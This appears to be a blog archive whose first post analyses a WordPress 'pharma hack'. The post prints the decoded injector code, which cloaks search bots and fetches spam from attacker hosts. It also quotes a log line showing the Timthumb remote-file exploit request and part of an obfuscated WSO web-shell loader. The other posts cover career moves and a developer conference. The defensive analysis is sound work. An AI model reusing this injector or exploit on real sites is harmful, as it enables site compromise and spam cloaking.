Yesterday I found out that my website had been hacked. Not only that, but it had been hacked months ago, and I hadn’t even noticed. How did this happen?

I only found out about it because somebody was kind enough to email me to let me know that they saw this on Google:

That’s definitely a link to my website, but what’s happened to the title? Clicking on the link brought up my website, and nothing seemed wrong there – my browser was showing the correct title. It was only Google who were seeing a “spammified” version of the page.

I did a quick search and realised that my site had fallen victim to a version of the WordPress Pharma Hack – a particularly sneaky hack which means everybody apart from Google sees the normal version of your page, meaning that you can be blissfully unaware that you’ve been hacked until you see something odd in your search results.

To solve the problem, you need to see your site as Google sees it. The most accurate way of doing this is to use Google Webmaster Tools. When you log in, under Diagnostics you can go to “Fetch as Googlebot”. I entered the page and waited a few seconds for Google to fetch it, then by clicking the “Success” link I was able to see the HTML that Google was seeing:

Oh dear. Where was that coming from?

I followed the advice on the article I linked to above – deactivating all plugins, then refetching the Google version of the page. No difference – it was obviously not a dodgy plugin that was to blame, and the spammy content was being injected somewhere else.

This would be a pain to debug by repeatedly refetching via Google Webmaster Tools, not least because you can only do a limited number of fetches. It would be much easier if I could see the Googlebot version of the page myself. The way to do this is to change your browser’s user agent string.

I use Chrome as my browser of choice. Despite there being plenty of documentation on the web suggesting that you can pass a “user-agent” parameter into chrome.exe, this no longer seems to work on the latest version of Chrome. Perhaps surprisingly, it was IE9 to the rescue. The debugging tools built in to IE9 are really rather good – just hit F12 and you can go to Tools, then “Change user agent string”, and you can make IE pretend that it’s anything. In my case, I set it to a custom string:

Googlebot/2.1 (+http://www.google.com/bot.html)

and then I loaded my site. Lo and behold, there was the hacked version of my page:

There was also some spammy text inserted into the content further down the page. Not pretty at all.

So, how was this spammy content being generated? I did a few experiments, making a few changes to the page. Any updates I made were not reflected in the hacked version, so this was clearly being served up in its entirety based on an older cached version of the page, rather than inserting spammy links on-the-fly.

I did a few more tests – I wanted to know if this was even coming through WordPress at all, maybe it was some kind of .htaccess hack? I deliberately put syntax errors in core WordPress files, and in the theme files. Breaking WordPress broke the hacked version of the page, but breaking the theme files didn’t. So the hacked code was clearly being run quite early in the page lifecycle, but was definitely within my WordPress PHP files somewhere.

I grabbed a copy of all my WordPress files from the server – the wp-admin, wp-content and wp-includes folders. The article I linked to earlier mentioned that WordPress hacks typically contain functions like “eval” and “base64_decode”, to obfuscate the hack code, so I did quick search through the WordPress files.

Bingo – the top of wp-includes/pluggable.php:

<?php
eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKD ...

I ran the 6KB string through an online base 64 decoder, and here is the code that was being run for every single request to my site:

error_reporting(0);
$bot_list = array("8.6.48","62.172.199","62.27.59","63.163.102","64.157.137","64.157.138","64.233.173","64.68.80","64.68.81","64.68.82","64.68.83","64.68.84","64.68.85","64.68.86","64.68.87","64.68.88","64.68.89","64.68.90","64.68.91","64.68.92","64.75.36","66.163.170","66.163.174","66.196.101","66.196.65","66.196.67","66.196.72","66.196.73","66.196.74","66.196.77","66.196.78","66.196.80","66.196.81","66.196.90","66.196.91","66.196.92","66.196.93","66.196.97","66.196.99","66.218.65","66.218.70","66.228.164","66.228.165","66.228.166","66.228.173","66.228.182","66.249.64","66.249.65","66.249.66","66.249.67","66.249.68","66.249.69","66.249.70","66.249.71","66.249.72","66.249.73","66.249.78","66.249.79","66.94.230","66.94.232","66.94.233","66.94.238","67.195.115","67.195.34","67.195.37","67.195.44","67.195.45","67.195.50","67.195.51","67.195.52","67.195.53","67.195.54","67.195.58","67.195.98","68.142.195","68.142.203","68.142.211","68.142.212","68.142.230","68.142.231","68.142.240","68.142.246","68.142.249","68.142.250","68.142.251","68.180.216","68.180.250","68.180.251","69.147.79","72.14.199","72.30.101","72.30.102","72.30.103","72.30.104","72.30.107","72.30.110","72.30.111","72.30.124","72.30.128","72.30.129","72.30.131","72.30.132","72.30.133","72.30.134","72.30.135","72.30.142","72.30.161","72.30.177","72.30.179","72.30.213","72.30.214","72.30.215","72.30.216","72.30.221","72.30.226","72.30.252","72.30.54","72.30.56","72.30.60","72.30.61","72.30.65","72.30.78","72.30.79","72.30.81","72.30.87","72.30.9","72.30.97","72.30.98","72.30.99","74.6.11","74.6.12","74.6.13","74.6.131","74.6.16","74.6.17","74.6.18","74.6.19","74.6.20","74.6.21","74.6.22","74.6.23","74.6.24","74.6.240","74.6.25","74.6.26","74.6.27","74.6.28","74.6.29","74.6.30","74.6.31","74.6.65","74.6.66","74.6.67","74.6.68","74.6.69","74.6.7","74.6.70","74.6.71","74.6.72","74.6.73","74.6.74","74.6.75","74.6.76","74.6.79","74.6.8","74.6.85","74.6.86","74.6.87","74.6.9","74.55.27","141.185.209","169.207.238","199.177.18","202.160.178","202.160.179","202.160.180","202.160.181","202.160.183","202.160.185","202.165.96","202.165.98","202.165.99","202.212.5","202.46.19","203.123.188","203.141.52","203.255.234","206.190.43","207.126.239","209.1.12","209.1.13","209.1.32","209.1.38","209.131.40","209.131.41","209.131.48","209.131.49","209.131.50","209.131.51","209.131.60","209.131.62","209.185.108","209.185.122","209.185.141","209.185.143","209.185.253","209.191.123","209.191.64","209.191.65","209.191.82","209.191.83","209.67.206","209.73.176","209.85.238","211.14.8","211.169.241","213.216.143","216.109.121","216.109.126","216.136.233","216.145.58","216.155.198","216.155.200","216.155.202","216.155.204","216.239.193","216.239.33","216.239.37","216.239.39","216.239.41","216.239.45","216.239.46","216.239.51","216.239.53","216.239.57","216.239.59","216.32.237","216.33.229","174.129.130","174.129.66","85.17.19");
$ip = preg_replace("/\.(\d+)$/", '', $_SERVER["REMOTE_ADDR"]);
$agent = $_SERVER["HTTP_USER_AGENT"];

	if ($_GET["testd"]=="ok") { print "ok!"; exit; }

if(in_array($ip, $bot_list) || strpos($agent, "bot"))	{
	if ($_SERVER["QUERY_STRING"]=="q") { print "ok!"; exit; }

	$page=urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);
	$outsourceurl=base64_decode('aHR0cDovL2dsYXZnZW4uY29tL2dldC5waHA/c2l0ZT0=').urlencode($_SERVER['HTTP_HOST']).'&page='.urlencode($_SERVER['REQUEST_URI']).'&ip='.urlencode($_SERVER['REMOTE_ADDR']).'&agent='.urlencode($_SERVER['HTTP_USER_AGENT']);
	if (function_exists("curl_init")) {
	$c = curl_init();
	curl_setopt($c, CURLOPT_URL, $outsourceurl);
	curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
	$out = curl_exec($c);
	curl_close($c);
	} else {
	$out = file_get_contents($outsourceurl);
	}
	if (substr($out,0,3) == "OK!") { echo substr($out,4); die; }
}

if (preg_match('/live|msn|yahoo|google|ask|aol/', $_SERVER["HTTP_REFERER"])) {
	$tabs = array ('viagra','cialis','levitra','propecia','prozac','xenical','soma','zoloft','tamiflu','sildenafil','tadalafil','vardenafil','finasteride','hoodia','acomplia','phentermine','adipex','tramadol','ultram','xanax','valium','ambien','ativan','vicodin','hoodia','acomplia');
	$niche='unknown';
	foreach($tabs as $tab)	{
		if(preg_match("/$tab/i", $_SERVER["HTTP_REFERER"]))	{
			$niche = $tab;
		}
	}
	if ($niche!="unknown") {
		$urlsutra = base64_decode('aHR0cDovL2tsaWtjZW50cmFsLmNvbS90cmFmZmljL2luLmNnaT8xMSZwYXJhbWV0ZXI9');
	if (false == ($str=file_get_contents($urlsutra.$niche."&seoref=".$_SERVER["HTTP_REFERER"]."&HTTP_REFERER=".$_SERVER['HTTP_HOST']))) {
    header("location: ".$urlsutra.$niche."&seoref=".$_SERVER["HTTP_REFERER"]."&HTTP_REFERER=".$_SERVER['HTTP_HOST']);
    exit;
    } else {
    echo $str;
    exit;
    }
	}
}

What does this do? Well, for every request, it checks to see if the request came from a known search engine bot (such as Googlebot). If it does, the web server makes a request to a server controlled by the hacker, to get the spammified content for that page. In this case the hacker’s server is again a base64 encoded string which resolves to the domain glavgen.com.

A quick search for this domain on Google brings up a page entitled “WordPress Timthumb Viagra Attack : klikcentral.com / glavgen.com” and following links there brought me to a page about the Timthumb vulnerability.

It’s not a WordPress security vulnerability exactly, but a lot of WordPress theme files include the open-source Timthumb library, and at the beginning of August 2011 it was discovered that this library contains a vulnerability allowing anybody to upload any PHP file to your server.

Now I must confess that this rang a bell. When I was redeveloping my website with WordPress earlier this year, I was in the market for a nice-looking theme which I could adapt to make it look as good as possible. I signed up with a couple of theme sites, ElegantThemes and SimpleThemes.

I’d had an email from ElegantThemes on 4th August, a couple of days after the vulnerability was discovered. It warned that their themes used this vulnerable script, and that it would be a very good idea to update any of their themes I had installed to the latest versions from their site.

Well, I had the site up and running by this time, but I’d used SimpleThemes instead. I didn’t have any ElegantThemes themes installed on the server.

Guess what? SimpleThemes were using the same vulnerable script. But I never received a similar email from them.

Cleaning Up

Now to tidy up my web server. It was straightforward to remove the hack code from pluggable.php, and to download the updated version of Timthumb to replace the vulnerable version that was bundled with my WordPress theme.

But how exactly had the hacker exploited the vulnerable Timthumb to update my pluggable.php? It was important to find out, otherwise there could be intermediate files left on my web server which could be easily used to re-hack it.

I wanted to identify exactly when the hack had taken place. I tend to download my web server log files fairly regularly, although unfortunately not every single day, and my web host only had copies going back a couple of months. It turned out that I was at least able to verify that it was indeed the vulnerable thumbs.php that was exploited – this line in my log file was the giveaway:

88.198.51.36 - - [08/Aug/2011:04:39:45 +0200] "GET /wp-content/themes/impacto/thumb.php?src=http://picasa.com12345.dyndns.org/1.php HTTP/1.1" 400 153 www.textadventures.co.uk "-" "MSIE 7.0" "-"

So my server had been hacked on 8th August – only a week after the vulnerability was disclosed. If I’d been using ElegantThemes, and had acted as soon as I got their email on 4th August, I’d have been safe, but it shows how quickly people need respond to announcements of these kinds of vulnerabilities, and by “people” I mean both theme providers and the users of those themes.

In the cache directory was the PHP that had been uploaded by the hacker. It looks like this (line breaks added for some clarity):

<?php $auth_pass = "47a85"."6c68e623468d"."84123e878"."81d1e3";
$color = "#df5";$default_action = 'File'.'sMan';$default_use_ajax = true;
$default_charset = 'Windo'.'ws-1'.'251';
preg_replace("/.*/e","ev" . "al(gz" . "inf" . "late(bas" . "e64_de" .
"co" . "de('5b1pdxrHEjD82fec+x9aE24GYoQA2bkOEli2LNlybMnR4lV+yAADT ...

Another obfuscated base64 encoded file, but this time with the extra sneakiness of using string concatenation to mask the calls to “eval” and “base64_decode”. Even running the encoded text through an online decoder is no help, as it’s GZ compressed into the bargain.

I’m not sure exactly when the hacker ran his uploaded PHP script, as I think that is missing from my log files as I probably didn’t download that one at the time. I found another few hits from the same IP about a month later though, so this is clearly something they take their time over and keep quiet about.

The result of decoding the text is another PHP script. I ran this on a virtual machine to see what it did, and it’s a hacking tool called WSO 2.4 which gives the hacker full control over pretty much everything:

Using this tool they can edit any file, have full console access, run SQL and PHP commands, and even change the timestamp on files so you won’t even know they’ve been there.

I deleted the cache folder. I also ran “grep” over all files on my web server to look for a few key words from the WSO 2.4 file, to ensure that no trace of it had been left anywhere on the server.

Summary of the attack

So, in summary, here is how the attack worked:

• My WordPress theme, created by SimpleThemes, was using a vulnerable third-party library
• SimpleThemes, unlike at least one rival company, do not appear to have taken steps to inform their customers that their WordPress installations are vulnerable
• As a result, a hacker scanning servers for this vulnerability was able to upload their own PHP file to my server
• This PHP file is cleverly obfuscated, even hiding its use of “standard” hacking functions such as “eval” and “base64_decode”
• Some time after this PHP was uploaded, the attacker sent a request to my server to cause it to be run
• This caused the PHP code within it to be extracted, installing the “WSO 2.4″ back-door tool onto the server
• This tool gives full access to the hacker to modify files. At some time, possibly weeks after installing WSO 2.4, they used it to modify a core WordPress file (pluggable.php)
• This core WordPress file had an obfuscated function call added to it. Every page request to the server caused this function to run
• The function would check to see if the page request originated from a bot. If it didn’t, the normal page output was displayed to the user, so nobody would know anything was wrong.
• If the page request did originate from a bot, a remote call was made to a separate server under the hacker’s control. This server responded with a snapshot of the original page, modified to change the <title> tag and insert spammy text and links
• This meant that Google results which returned my website had strange spammy titles
• It was only thanks to the kindness of a stranger that I was informed about this at all.

Lessons Learned

I’ve never had a website hacked before. In fact I don’t recall ever being the victim of anything like this – no computer viruses or other malware have ever made their way onto my machines (to the best of my knowledge and memory anyway). I’m usually pretty careful about security, installing updates as soon as they’re available, so it was gut-wrenching to discover that a server under my control had fallen victim to a hacker.

There are many levels of sneakiness to this attack, and there must be thousands of websites out there who have fallen victim to the same thing, but currently have absolutely no idea about it.

By exploiting a vulnerability not in WordPress itself, but in a file commonly installed with WordPress themes, the hackers have a good proportion of the reach of a “native” WordPress attack, but there is no WordPress patch than can ever fix this. Instead you have to rely on your theme provider to notify you of the problem, and clearly the message has not got through to all of them.

Once you’ve been hacked, you’ll have no idea about it, as the hackers take pains to not draw attention to themselves. You can use your own website normally and have no clue that there is anything wrong. But behind the scenes, a hacker can be adding obfuscated functions to your PHP files, controlling exactly what your web server displays to which visitors.

In this case, they showed a modified version of the page to Google, but there was absolutely nothing to stop them redirecting any visitor anywhere. Porn, malware downloads, phishing attacks – it was all easily in their grasp, but my hackers were keeping quiet.

You may not be so lucky with yours.

So how do you know if you’re vulnerable, or maybe even have already fallen victim?

• Check your WordPress themes folders for timthumb.php and thumb.php files now. This includes inactive themes. The file simply has to exist on the server – that’s it. The hackers scan for common theme folders, so if you’ve got an off-the-shelf theme with this vulnerability, they will find it. If they haven’t already.
• Check your PHP files for suspicious “eval” and “base64_decode” function calls, usually with a big lot of text (though there’s no reason they couldn’t get more sophisticated about this and inject the code in an even more obscure way).
• Check your site with Google Webmaster Tools and also try browsing your site yourself with a Googlebot user agent.

How to prevent this kind of thing?

• You can’t rely on your theme provider to keep you secure. Take a look at the PHP files they’re using, so you know what third-party libraries are in use. Search for known vulnerabilities in these libraries, and if you can, subscribe to their mailing lists so you’ll have early warning if vulnerabilities are discovered.
• Look at the Hardening WordPress instructions. More stringent file permissions may have prevented or at least mitigated this problem.
• Monitor your site. I could have probably spotted the flood of suspicious requests to thumb.php if I’d thought to look. Also it’s a good idea to check your site every so often, both as a regular user and by pretending to be Googlebot.

If you have any more suggestions, I’d love to hear them in the comments!

I have reported the issue to SimpleThemes. At least one person on their forums has already posted about this, but there are no replies (and I can’t add one, presumably as my account has expired). I will update this post if and when I hear back from them.

Stay safe out there…

Update 1st Dec 2011:

Some good comments below, and loads more over at reddit.

SimpleThemes wrote back to me, with the latest fixed theme files. Apparently they sent out an email warning about the exploit the week it was announced (didn’t say which date), and they updated the theme on 22nd August (this was after my site had been compromised). I never received an email though, and I’ve asked them why. I wonder if it is because my account with them had expired by this point – but if this is the case, in my view they should still have notified their “previous” customers about such a serious security vulnerability, even if they’re “out of support”. I will update this post again if I get clarification.

Is this becoming a habit? My greatest weakness, boredom, has reared its head rather rapidly again, and I’ve found myself working through a notice period for the second time in less than twelve months.

How did I manage to find myself in the same situation again? I left my previous employer at the end of July last year, and wrote at the time that I wanted to mix things up a bit, alternating between contracting and working on my own software business.

Well, now I’m going to have a second try at making that plan work. I’m not going to rush into job hunting like I did last time – in fact, I’m not even going to look for a job at all for a while. I want to devote my time to my own business, Axe Software, and see where it takes me.

The seemingly insane thing about my plan is that Axe Software is currently making much less money than ever – I’ve recently stopped charging for my text adventure game engine, Quest, and I’m working on the new version 5.0 as free open-source software.

That sounds mad – “giving up your job to work on software that you’re just going to give away? What the fuck is wrong with you? I’m OUT!” Well, I think it makes much more sense in the long term. Read my blog post on making the switch to open source for full details, but basically the software has to be free to compete with the other systems that are out there – not only are pretty much all of Quest’s competitors free, but historically they’ve been more powerful too.

By making Quest both free (done) and totally kick-ass (to do), I’m hoping to make it appeal to many more users. So, perhaps this means in future there may be more opportunities for me to do paid-for customisations, for example. Perhaps there are ways of making money from other services that fit around Quest. Whatever, it doesn’t actually matter – even if I never make a penny from it directly, I think it will be a great demonstration of the kind of work that I do – something that will make me stand out in the next round of job applications. Having all the code easily viewable on CodePlex means future employers will have the ability to examine my work in considerable detail – every aspect of a large software project that I have designed, architected, coded, delivered, and is actually enjoyed by people who choose to use it. If an employer is not interested in that, it’s unlikely I’m interested in working for them.

But most importantly, it’s what I want to do. I really want to build this software, and I have the opportunity – I have enough savings that I don’t need to worry about earning a salary for a (little) while, and it seems almost irresponsible not to make the most of that. Does that make me sound like a colossal wanker? I hope not.

My employment comes to an end at the beginning of April, and I’m looking forward to it. Am I going to put my feet up and relax with my new-found freedom? Fuck, no. I’m going to be working – hard, much harder than I have ever worked before, to create some great software.

[Photo credit: "Please Try Again <3" by Smath.]

On Friday I went to Guathon, a free Microsoft conference all about the latest .NET stuff and Windows Phone 7, held at the Odeon cinema on Shaftesbury Avenue. I was lucky to get a place, as when registration opened last week, the website immediately buckled under the strain. It reminded me of trying to get tickets for Glastonbury – and you’d think Microsoft would be able to get this kind of thing right. But after a lot of refreshing, opening new tabs, and filling in the same registration form multiple times, I eventually got my confirmation email.

Arriving at the Odeon bleary-eyed yesterday morning, I knew I was in the right place when saw a long queue of poorly dressed men – I blended in seamlessly.

Presentations without boredom

[image by Jeff Sandquist]

Scott Guthrie is the man in charge of the .NET teams at Microsoft, and spent three quarters of the day doing presentations. It must have been pretty gruelling, but he didn’t show it – and he really knows his stuff, eschewing slides almost completely for a very hands-on style, mostly writing code in Visual Studio and answering questions as we went along. He’s a hugely effective presenter, and I just wish more people would learn that making a presentation isn’t all about knocking together slides in PowerPoint and then reading out each bullet point in a monotone.

The first session covered Visual Studio 2010 – a mix of new features, such as the improved IntelliSense, plus old features that surprisingly many people haven’t heard of, such as conditonal breakpoints. He also talked for a while about the new IntelliTrace debugging and automatic diagramming features which are sadly only available in the seriously expensive versions – a shame as it looks like these could be a real productivity boost for a lot of programmers. I’m still waiting to get my hands on VS2010 myself, as for some reason it’s taking Microsoft weeks and weeks to process my new Action Pack subscription.

By the end of the first session we were already overrunning massively, and everybody was in desperate need for some fresh air, a trip to the toilet and some coffee. If the Odeon had been prepared, they would have known that 250 developers logically entails a requirement for 250 lattes, but clearly this had been missed somehow as a huge queue quickly developed at the tiny coffee bar, with only one member of staff and the world’s slowest coffee machine.

ASP.NET MVC, 1, 2 and 3

Sessions two and four were all about ASP.NET MVC. This is a framework that sits on top of ASP.NET and provides a quite amazingly neat and elegant way of building web-based applications. I didn’t know anything about it before, but there was a good quick introduction before diving into the new stuff in versions 2 and 3, so I now feel like I’m up to speed and am quite keen to have a play with it – if only Microsoft would hurry up with letting me access the software I’ve ordered…

Instead of a load of slides, the presentation was entirely in Visual Studio, taking us from starting a new ASP.NET MVC project. “What kind of website shall we make?” asked Scott. “An event registration site” was the highly appropriate response, and Scott took us through creating the web application from scratch. He covered a huge amount of functionality in the way that makes the most sense to programmers – by actually writing code. Not only was it a great way of covering lots of material, the fact that he could cover so much during the sessions is testament to how well-designed the MVC framework is – it’s really very quick to start putting things together.

Windows Phone 7

To give Scott a bit of a break from presenting, between the two ASP.NET MVC sessions Mike Ormond stepped in to talk about developing applications for Microsoft’s forthcoming Windows Phone 7 platform. It was a mixture of slides and a more hands-on demonstration, as he demonstrated writing a simple game which he then showed working on both an emulator and an actual prototype phone.

The presentation was good but I was left feeling underwhelmed by the product itself. Despite the name, Microsoft has effectively thrown away its old phone platform to start again, so it’s very much a “1.0″ product at the moment. Unfortunately they seem to have taken all the worst bits of the iPhone and then added in some extra limitations of their own. Like Apple, they will be controlling the “Marketplace” (equivalent of the App Store) so they won’t accept certain types of applications. Like Apple, you can’t do proper multi-tasking – the phone will quit applications when you switch to another one, and as a developer you have to manually write code for saving the application’s state. Even the process of using the camera within an application causes it to restart, which seems very cumbersome. And for the moment they’ve even locked down things such as access to the camera flash LED, meaning no flashlight applications are allowed. This just seems dumb.

One of the positive things to come from Apple’s control freakery is that at least mobile network operators can’t stuff the phone with crappy applications themselves, but there are no such limitations on Windows Phone 7. Network operators have more power than ordinary developers, as they will be able to create proper native applications instead of the Silverlight and XNA apps that other developers will be limited to.

They have also taken some decisions with the interface that they probably think of as “innovative”, but I would describe as “strange”. For example, instead of the iPhone’s single “home” button, there is a “back” button which will navigate back through your app, until you reach the first page when it will quit. But there’s also a “Start” button which takes you back to the app launcher. I can’t see the advantage of the additional hardware button here – the iPhone approach of having all app navigation in the touchscreen works perfectly well, so I wonder if Microsoft are forced to go this way to avoid stepping on one of Apple’s many patents.

I have doubts about the “panorama” interface, as shown in the picture above. It looks like this just makes a lot of the menus hard to find – it will be interesting to see how well this works on the devices when they appear later this year.

In summary, I find it hard to see Windows Phone 7 taking off. It would have been a great product five years ago, but Microsoft is clearly desperately chasing Apple and Android and is way behind. I like the idea of .NET on a mobile device – it would certainly make it easier for me to port my own existing applications to a mobile phone – but there’s nothing (yet) that makes it stand out in any area ahead of the competition, so any mobile app developer is going to have an extremely limited potential user base. It’s too little, too late.

I finished work yesterday, so I’m now a free man who has no idea what’s going to happen next. I’m excited about the future but I’m sad to be leaving my old colleagues behind.

Just before leaving, I sent out the routine email with my contact details and a list of my various websites (this one, Axe Software, Facebook, LinkedIn profiles etc.). Unfortunately, the most recent article at the top of this site was How to lose staff and make your software company fail which is rather negative about the company I’ve just left. My boss was not particularly happy about this.

Woops. I did think twice before including the link to alexwarren.co.uk but concluded:

• I was linking to this site in general, not that article specifically
• I didn’t want to delete the article
• I did want people to know about my personal blog
• This blog is linked from the Facebook and LinkedIn profiles anyway
• I still stand by that particular article, as I’d never have published it otherwise
• Many of my colleagues had already seen the article
• The views I expressed in that article would not have come as any surprise
• I’d already discussed many of the points in that article both with my boss and with the head of development

So, it was sad that my most recent article was so negative (perhaps it’s an indication that I should blog more often so that I don’t leave negative articles hanging around at the top of the page for long). And maybe I could have chosen a less pejorative, less melodramatic title – but that was how I felt at the time I wrote the article, and I didn’t want to edit history.

But in the interest of balance, I should point out that things are beginning to change at the company. They have begun to listen to what people like me are saying, and are starting to put things in place in an effort to make it a better place to work.

After writing that blog post, I emailed the head of development to give him some feedback, and I made the same points that I’d made in the blog – that if more effort wasn’t made very soon to migrate properly to .net, the company will have massive problems in the future. I was a bit trepidatious about sending the email – after all, it takes some balls to criticise senior management – but I thought it needed saying and I was interested in what kind of response I’d get. I didn’t have much to lose anyway.

I was pleased that the head of development took the time to construct a proper response, and we had quite a lengthy exchange of emails. Obviously he was never going to fully agree with me and immediately initiate a big project to undertake a big migration, but from what people have told me it’s suddenly become a much higher priority, and the head of development has suddenly taken a much greater interest in the state of the existing codebase. It seems that for whatever reason he wasn’t fully aware of the scale of the problem before. So emailing him had turned out to be a very good idea.

And it’s not just my complaints that are being listened to. From the private conversations I’ve had, it looks like they are beginning to listen to other developers and are willing to implement their suggested changes to make things better.

So, expressing negative opinions can lead to positive results. Indeed, how can problems be fixed if nobody expresses the problems in the first place? Surely it’s worse to keep these kinds of things to yourself?

Of course the real reason my boss was upset to click through my leaving email and see that post there was that it’s so public. He was unhappy that I hadn’t expressed these views in private before blogging about them. But often it’s only through writing things properly that one can clearly arrange one’s thoughts and come to a proper viewpoint in the first place. And there’s not much motivation to write properly if you don’t have an audience. Without that blog post, I would have found it harder to express my views to the people that could do something about them.

I want to continue blogging about my software development experiences. Inevitably many of those experiences will be negative, because those are the most interesting ones to write about. I expect these experiences are hardly unique – there must be huge numbers of software companies and developers facing similar problems. That’s what I hope will make this blog valuable over the coming months and years as I continue to write about the world of software.

Where things are negative, there is the potential for making things better, and if I have an idea for making things better, I want to implement it – or at least share it. What could be more positive than that?

Having handed in my notice at work, nothing much has changed – I’m carrying on in the same way as before. I turn up in the morning, fix the odd uninteresting bug, and leave in the evening.

Since I’m not working on a big project at the moment, I don’t have anything to hand over, so I don’t even get the satisfaction of wrapping things up and handing them on to someone else. Instead I’m plodding along, counting down the days until I can leave.

As software developers, we need varied work with a sense of purpose. Giving staff nothing to do but bug fixing for months is a good way of filtering good developers out of your organisation.

With no real goal in sight, there’s no feeling that things are moving forward, and working life becomes an unrelenting march, bug bug bug bug, bug bug bug bug, bug bug bug bug. Every day is much like every other day, and they merge in the memory. Weeks skip by with nothing to identify them except for the management’s statistics on how many bugs you’ve fixed. The idea of introducing these statistics was, I presume, to encourage people to work harder, but it’s pretty demoralising when your entire week is distilled down to “10 bugs fixed, 1 test failure”. That’s not a way of getting the best out of your developers, that’s a way of getting your best developers out.

The latest missive from senior management tells us the strategy for the next year or so is to focus even more effort on bug fixing, at the expense of work to enhance the product. While there are certainly plenty of bugs to be fixed, I strongly feel that there also needs to be an investment made into fundamental refactoring and redevelopment of the software – the company is storing up problems for the future otherwise. So much of the system is written using crappy old VB6 – moving over to .net will take many years, and putting it off means it’s going to be harder to recruit and retain good developers. They’ll be paying premium rates for the kind of developers who don’t have an interest in technology or creating good software – they need to invest now to stop that happening.

The current strategy will undoubtedly save money in the short term, but failing to invest in your future is a terrible mistake.

But at least I now know I have made the correct decision, because I’m not afraid of making the effort to invest in mine.